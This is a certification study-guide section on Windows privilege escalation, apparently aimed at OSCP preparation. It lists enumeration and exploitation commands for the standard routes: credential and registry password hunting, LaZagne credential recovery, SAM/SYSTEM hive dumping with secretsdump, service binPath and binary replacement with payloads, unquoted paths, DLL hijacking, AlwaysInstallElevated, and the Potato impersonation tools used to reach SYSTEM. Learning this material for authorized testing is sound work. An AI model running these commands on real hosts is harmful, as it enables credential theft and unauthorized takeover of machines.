9.5.2 Windows Privilege Escalation
← Stage index | Quick sheet | Credential use | File transfer | Strategy map | Study methods: Escalate privileges on Windows
Entry: authorized Windows shell. Exit: verified Administrator/high-integrity or SYSTEM process. Proof chain: current token → controlled input → effective right → privileged consumer → run-as identity → trigger → verified effect.
First pass: check whoami /all and architecture, then run the reviewed winPEAS baseline in the collector section. Read out.txt and follow the exact service/task, token or credential finding; use native checks if the collector is unavailable.
9.5.2.1 Establish token and host state
hostname
whoami /all
systeminfo
ipconfig /all
route print
netstat -ano
tasklist /svc
query user
net user
net localgroup Administrators
driverquery /v
Get-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber,OsArchitecture
Get-HotFix | Sort-Object InstalledOn -Descending
Get-CimInstance Win32_Process | Select-Object ProcessId,Name,ExecutablePath,CommandLine
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName
Get-CimInstance Win32_SystemDriver | Select-Object Name,State,StartMode,PathName
Get-LocalUser
Get-LocalGroupMember Administrators
Interpret: record user SID, integrity label, enabled/deny-only groups and present/enabled privileges. Administrator membership with Medium integrity is a filtered token, not a high-integrity process.
Get-HotFixdoes not list every update; use build/KB output only to form a version hypothesis.
9.5.2.1.1 WMIC compatibility fallbacks
wmic qfe get HotFixID,InstalledOn
wmic service get Name,StartName,State,StartMode,PathName
wmic process get ProcessId,Name,ExecutablePath,CommandLine
WMIC is deprecated and may be absent on newer systems; PowerShell CIM is the baseline.
9.5.2.2 Interpret effective access
icacls "C:\Path\To\OBJECT"
sc.exe sdshow SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\OBJECT"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
icacls common rights: F full, M modify, RX read/execute, R read, W write, D delete. Common inheritance markers: I, OI, CI, IO, NP.
File, directory, registry, service-object, task and process permissions are separate. Check whether the ACE applies to the current user or an enabled group and grants the exact required operation. Mandatory Integrity Control can still block a lower-integrity write.
9.5.2.3 Hunt credentials and configuration
9.5.2.3.1 Find usable credentials in accessible Windows artifacts Stored credentials and PowerShell trails
cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
$history = (Get-PSReadLineOption).HistorySavePath
$history
Get-Content -LiteralPath $history -ErrorAction SilentlyContinue
Get-ItemProperty 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-ItemProperty 'HKCU:\Software\Policies\Microsoft\Windows\PowerShell\Transcription' -ErrorAction SilentlyContinue
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -ErrorAction SilentlyContinue |
Where-Object Id -in 4103,4104 | Select-Object -First 50 TimeCreated,Id,Message
A
cmdkeyentry is target/context-bound and does not reveal a password. DPAPI-protected data needs the protecting user/machine context and keys.Clear-Historydoes not necessarily clear PSReadLine's saved file.
9.5.2.3.1.1 Targeted application/file/registry search
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
dir /s /b C:\Windows\Panther\*unattend*.xml C:\Windows\System32\Sysprep\*.xml 2>nul
dir /s /b C:\Users\*.kdbx C:\Users\*.rdp C:\Users\id_rsa C:\Users\*.ppk 2>nul
Get-ChildItem C:\inetpub,C:\ProgramData,C:\Users -Recurse -File -ErrorAction SilentlyContinue |
Where-Object { $_.Extension -in '.config','.xml','.ini','.txt','.ps1','.bat','.cmd','.yml','.yaml','.json' } |
Select-String -Pattern 'password|passwd|secret|token|connectionString|user id=' -CaseSensitive:$false
Search from observed applications first. Classify every value by identity, format, scope and compatible service, then use the credential procedure.
9.5.2.3.1.2 Saved credential consumer
runas /savecred /user:DOMAIN\USER cmd.exe
Use only when
cmdkey/context supports that identity and logon type.runasdoes not inherently bypass UAC; verify the resulting token withwhoami /all.
9.5.2.3.1.3 LaZagne — recover application credentials in the current user's context
Use a reviewed Windows build after identifying the current user and installed applications. Start with the relevant family; run broader collection only when useful. User-protected stores depend on that user's profile/decryption context; system-protected stores can need an elevated token.
9.5.2.3.1.4 Browser-store leads for the current user
REM Browser-store leads for the current user
laZagne.exe browsers
9.5.2.3.1.5 Broader recovery, with a local text report
REM Broader recovery, with a local text report
laZagne.exe all -oN
Read: preserve the reported application/account/source with each recovered value. Test a matching service using the credential procedure; a recovered application password is not automatically a domain password. Empty output can mean no supported store, inaccessible profile or failed decryption. Follow manual history/config/vault checks instead of assuming there are no credentials.
9.5.2.4 Check whether you control a privileged service or its executable Service control and executed objects
Verify the selected service identity, effective control and required trigger; reachability alone is insufficient.
9.5.2.4.1 Inventory and inspect
Get-CimInstance Win32_Service | Select-Object Name,StartName,State,StartMode,PathName
sc.exe qc SERVICE
sc.exe sdshow SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
accesschk.exe -accepteula -nobanner -v -w -c "USER" SERVICE
accesschk.exe -accepteula -nobanner -v -w "USER" "C:\Path\To\service.exe"
Need: control of service config, exact binary/script, searched prefix, DLL/config/plugin, or relevant DACL; higher
SERVICE_START_NAME; and a start/restart/boot trigger. In PowerShell usesc.exe, because baresccan resolve toSet-Content.
9.5.2.4.2 Modifiable service configuration
Preserve BINARY_PATH_NAME, account and start mode first:
sc.exe qc SERVICE
sc.exe config SERVICE binPath= "C:\Windows\Temp\PAYLOAD_EXE"
sc.exe stop SERVICE
sc.exe start SERVICE
Restore:
sc.exe config SERVICE binPath= "ORIGINAL_BINARY_PATH"
SERVICE_CHANGE_CONFIGcontrolsbinPath; start/stop are separate rights. The space afterbinPath=is required. Error 1053 may mean a non-service payload ran but did not answer the Service Control Manager; verify the intended effect.
9.5.2.4.2.1 Writable service binary or replaceable parent
sc.exe qc SERVICE
icacls "C:\Path\To\service.exe"
icacls "C:\Path\To"
copy /Y "C:\Path\To\service.exe" "C:\Windows\Temp\service.exe.backup"
copy /Y "C:\Windows\Temp\PAYLOAD_EXE" "C:\Path\To\service.exe"
sc.exe stop SERVICE
sc.exe start SERVICE
A parent with delete/create rights can permit replacement even when the file is not directly writable. Confirm architecture, file locks, recovery copy and exact trigger.
9.5.2.5 Check whether an unquoted service path reaches a location you can write Unquoted service paths
Verify the selected service identity, effective control and required trigger; reachability alone is insufficient.
Get-CimInstance Win32_Service |
Where-Object { $_.PathName -match '\s' -and $_.PathName -notmatch '^\s*"' } |
Select-Object Name,StartName,State,StartMode,PathName
For C:\Program Files\Vendor App\service.exe -d, check every attempted prefix:
icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
sc.exe qc SERVICE
Confirmed only if: path contains spaces and is unquoted; an earlier attempted executable such as
C:\Program.exeorC:\Program Files\Vendor.exeis absent and creatable; service runs higher; trigger exists. A listed unquoted path alone is a false positive.
9.5.2.6 Check whether privileged software loads a file you control DLL/config/helper search hijacking
Confirm:
- exact DLL/helper/config name and architecture;
- privileged process actually requests it;
- selected attacker-writable location precedes the legitimate resolution;
- payload preserves required exports/behavior where necessary;
- reliable trigger exists.
icacls "C:\Path\To\Application"
sc.exe qc SERVICE
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode
Modern DLL resolution can apply redirection, API sets, side-by-side manifests, loaded modules, KnownDLLs, package dependencies and application-specific search flags before ordinary directories. Safe DLL search mode is enabled by default. In a suitable lab, Procmon filters for the process,
CreateFile,.dll, andNAME NOT FOUNDprovide decisive runtime evidence; low-privilege remote use may be unavailable.
9.5.2.7 Find privileged tasks or startup consumers you can influence Scheduled tasks and autostarts
Check the privileged consumer, controlled input and actual schedule or trigger.
9.5.2.7.1 Find privileged tasks or startup consumers you can influence Scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /tn "\FOLDER\TASK" /xml
Get-ScheduledTask | ForEach-Object {
$t = $_
[pscustomobject]@{
TaskPath=$t.TaskPath; TaskName=$t.TaskName
UserId=$t.Principal.UserId; RunLevel=$t.Principal.RunLevel
Actions=($t.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments) [wd=$($_.WorkingDirectory)]" }) -join '; '
}
}
icacls "C:\Path\To\task-script.ps1"
icacls "C:\Path\To"
schtasks /run /tn "\FOLDER\TASK"
Prove action, arguments, working directory, principal, actual trigger and effective ACL.
RunLevel Highestmeans the configured principal's highest available token, not SYSTEM./runsuccess means the request was accepted; verify process/effect and last-run result.
9.5.2.7.1.1 Run keys and startup consumers
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
Need a modifiable consumed value/file plus a higher-privileged boot/logon/application trigger. A writable PATH directory matters only when a privileged consumer invokes an unqualified executable through that effective PATH.
9.5.2.8 Check installer policy and the elevation limits of your token AlwaysInstallElevated and UAC context
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Both values must be 0x1:
msiexec.exe /quiet /qn /i C:\Path\To\PAYLOAD.msi
One key or a zero value disproves the route. This is an unsafe installer policy, not a universal UAC bypass.
whoami /groups
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
A UAC bypass normally elevates an already-administrative filtered token. Build/policy-specific bypasses are not a baseline path for a standard user.
9.5.2.9 Check whether your token privileges support an escalation route Token privilege routes
whoami /priv
| Privilege | Required next proof |
|---|---|
SeImpersonatePrivilege | Compatible privileged client/coercion, impersonation level, build/runtime/tool and process creation |
SeAssignPrimaryTokenPrivilege | Useful primary token plus process/quota requirements |
SeBackupPrivilege | Enabled privilege, backup-aware read and useful protected data |
SeRestorePrivilege | Restore-aware write plus privileged consumer/trigger |
SeDebugPrivilege | Usable target process and no protected-process barrier |
SeLoadDriverPrivilege | Compatible signed/loadable driver and stable exploit path |
SeTakeOwnershipPrivilege | Ownership change, then DACL/content control and consumer |
9.5.2.9.1 Impersonation-tool variants
PrintSpoofer64.exe -i -c "cmd.exe"
GodPotato-NET4.exe -cmd "cmd.exe /c whoami > C:\Windows\Temp\token-proof.txt"
Choose by OS build, architecture, runtime and available trigger. A privilege name alone does not select a working “Potato.” Success is a SYSTEM process/effect followed by
whoami /all; connection/token/process errors route back to prerequisites.
9.5.2.9.2 Backup privilege to local credential material
reg save HKLM\SAM C:\Windows\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL
Use the matched hive pair. Output is local credential material, not automatic SYSTEM/domain/remote authorization; classify and validate it through the credential procedure.
9.5.2.10 Assess software and driver candidates against the exact host build Application, driver and kernel candidates
Use a matching affected build/configuration only after stronger permission-backed candidates have been assessed.
Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*',
'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' -ErrorAction SilentlyContinue |
Select-Object DisplayName,DisplayVersion,Publisher,InstallLocation
systeminfo
driverquery /v
Prefer deterministic credential/permission/configuration paths. Then verify exact privileged application or driver version/configuration. Use kernel exploits last after exact build, architecture, cumulative update, mitigations, prerequisites, source and crash risk are checked. Avoid
Win32_Product; it is slow and can trigger MSI repair.
9.5.2.11 Investigate remaining gaps with a focused automated survey Automated candidate generation
winPEASx64.exe log
Seatbelt.exe -group=system -outputfile="C:\Windows\Temp\seatbelt-system.txt"
Seatbelt.exe -group=user -q -outputfile="C:\Windows\Temp\seatbelt-user.json"
powershell.exe -ExecutionPolicy Bypass -Command ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report TXT,HTML"
Import-Module .\PowerUp.ps1
Invoke-AllChecks
winPEAS is broad; Seatbelt is a targeted survey and publishes source rather than official binaries; PrivescCheck evaluates the current token and skips some checks when elevated; PowerUp is useful but its upstream repository was archived. AV/script-policy failure is a tooling limitation—use native checks.
Convert every highlight into:
CANDIDATE | CURRENT TOKEN | CONTROLLED INPUT | EFFECTIVE RIGHT | CONSUMER | RUN-AS | TRIGGER | EXPECTED EFFECT | STATUS
9.5.2.12 Choose the next check from the failure you observed Failure router
| Failure | Next action |
|---|---|
Service config Access is denied | Validate service DACL/effective token; inspect binary/DLL/config alternatives |
| Can modify but cannot restart | Find reliable boot/logon/service dependency trigger or choose another path |
| Service error 1053 | Check bounded effect, then restore; payload may not implement the service protocol |
| Unquoted path but no creatable prefix | Disprove the route |
| DLL not loaded | Recheck actual request, KnownDLL/SxS/loaded module, search order, bitness and trigger |
| Task accepted but no effect | Check action, conditions, working directory, LastTaskResult/history and process lifetime |
| Privilege tool fails | Recheck enabled token state, build, architecture/runtime and trigger-specific prerequisite |
| Hashes but no higher session | Return to credential classification and host/service authorization |
| Suggester lists CVE | Verify exact component/build/patch/config and exploit source before use |
| Enumerator blocked | Run the relevant native branch; do not infer no findings |
9.5.2.13 Verify, re-enumerate and preserve evidence
whoami /all
hostname
ipconfig /all
After a higher token, re-enumerate protected credentials, services, tasks, sessions, listeners, routes and domain context. Preserve the command, relevant output, trigger and restoration step. For exam use, recheck the current OffSec guide: Windows full-privilege evidence requires SYSTEM, Administrator or an account with Administrator privileges, and AI/LLM use is prohibited during the exam and report phase.
9.5.2.14 JAWS — PowerShell enumeration when the compiled helper is unsuitable
Use a reviewed JAWS script when its PowerShell-based checks fit the current host/runtime. It is an alternative survey, not proof that every current Windows configuration is covered.
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
Read: turn a named service, path or credential finding into its exact native check (sc.exe qc, sc.exe sdshow, icacls, task XML, or the file read). Policy or language restrictions can still prevent the script from running. The process-scope flag does not override an enforced policy/control layer; use the manual checks already listed here.
Sources: upstream 1.
9.5.2.15 Legacy impersonation helpers — select by OS build and trigger
Use the current GodPotato/PrintSpoofer workflow first when its conditions fit. Older JuicyPotato-family recipes depend on specific COM/DCOM/RPC behavior; an enabled token privilege alone is not the complete condition.
9.5.2.15.1 Legacy JuicyPotato: requires a working CLSID and supported Windows build
REM Legacy JuicyPotato: requires a working CLSID and supported Windows build
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c CLSID -a "/c whoami > C:\Windows\Temp\identity-check.txt"
9.5.2.15.2 Separate EFS-triggered helper, if its documented prerequisites fit
REM Separate EFS-triggered helper, if its documented prerequisites fit
SharpEfsPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Windows\Temp\identity-check.txt"
type C:\Windows\Temp\identity-check.txt
Read: verify the exact resulting token/identity and effect. CLSID/RPC/trigger errors can mean an incompatible build, service state or blocked primitive—not a wrong password. Original JuicyPotato is a legacy option and is not a universal modern-Windows escalation. Inspect each helper's local help/version; do not interchange flags across JuicyPotatoNG, GodPotato and SharpEfsPotato.
Sources: upstream 1 · upstream 2.
9.5.2.16 AccessChk — verify the exact service, file or registry permission
Use after WinPEAS, PrivescCheck or a manual check identifies a candidate. Query the current identity and the exact object; a writable service binary and service-configuration rights are different paths.
whoami
accesschk.exe -nobanner -v -c "DOMAIN\USER" SERVICE
accesschk.exe -nobanner -v "DOMAIN\USER" "C:\Path\To\PROGRAM.exe"
accesschk.exe -nobanner -v -k "DOMAIN\USER" "HKLM\SYSTEM\CurrentControlSet\Services\SERVICE"
:: Broader candidate discovery; retain errors rather than suppressing them
accesschk.exe -nobanner -w -v -c "DOMAIN\USER" *
Read: SERVICE_CHANGE_CONFIG, WRITE_DAC, file modification and registry value modification enable different operations. Next inspect sc.exe qc SERVICE, executable/parent ACLs, service identity and a permitted restart/trigger. A write result alone does not establish SYSTEM execution. Empty write-filtered output is not a complete permission inventory; inspect the exact object without -w and check errors. Use the existing sc.exe sdshow, icacls and PowerShell ACL checks if AccessChk is unavailable.
Sources: upstream 1.
9.5.2.17 Sources
- Supplied PEN-200, Chapter 17, pp494-549
- OffSec OSCP+ Body of Knowledge
- OffSec OSCP+ Exam Guide
- getSH Windows privilege escalation, source snapshot
e1f62dd - Hexdump Windows module
- Microsoft access tokens
- Microsoft Mandatory Integrity Control
- Microsoft service security and access rights
- Microsoft DLL search order
- Microsoft AlwaysInstallElevated policy
- Microsoft AccessChk
- PrivescCheck, Seatbelt, PEASS-ng
- PrintSpoofer research, GodPotato